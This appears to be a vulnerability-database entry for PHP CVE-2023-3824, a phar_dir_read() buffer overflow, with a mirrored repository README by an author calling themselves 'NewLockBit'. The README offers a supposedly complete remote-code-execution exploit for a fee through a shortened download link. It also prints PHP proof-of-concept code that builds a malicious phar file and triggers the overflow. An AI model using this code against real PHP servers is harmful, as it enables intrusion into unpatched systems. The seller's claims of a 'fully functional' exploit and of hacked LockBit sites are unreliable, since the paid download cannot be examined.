关联漏洞
标题：
PHP 缓冲区错误漏洞
(CVE-2023-3824)
描述：PHP是一种在服务器端执行的脚本语言。 PHP存在安全漏洞，该漏洞源于函数phar_dir_read()存在缓冲区溢出漏洞，该漏洞会导致内存损坏或远程代码执行（RCE）。受影响的产品和版本：PHP 8.0.30之前的8.0版本，8.1.22之前的8.1版本，8.2.8之前的8.2版本。
介绍
# CVE-2023-3824-PHP-to-RCE-LockBit-LEAK
Greetings to anyone interested in how several LockBit sites were hacked by PHP CVE-2023-3824.
(**download exploit** below)
Now I write this POC in Python 3.9. This POC is fully finalized and functional. I'm willing to share this exploit for a nominal fee to avoid mass distribution and hacking of most sites written in PHP.
## Download
[Download here](https://t.ly/akOKg)
This repository contain instructions for running it, a description of the vulnerability, payload in php 8.0 and the exploit.py in Python 3.9.
## What happened (About POC)
Below is a screenshot of what I am talking about.
At the link you can read about how it went down.
(https://www.thestack.technology/coalition-calls-time-on-lockbit-ransomware-gang/)
## Details of CVE-2023-3824
CVE-2023-3824 was found in PHP version 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or **RCE**.
This vulnerability works due to buffer overflow and overread in phar_dir_read() function.
I have written a POC. Here is a short version of it:
### PoC
Create the malicious Phar file using:
```
<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
```
Trigger the buffer overflow and overread using this script:
```
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
```
Author: NewLockBit
Date of published: 2024/03/09
文件快照
[4.0K] /data/pocs/c639fe15a8672fd1552c94a8dea74bda23749ca5
├── [2.6K] cve-2023-3824-php-rce.py
└── [2.0K] README.md
0 directories, 2 files
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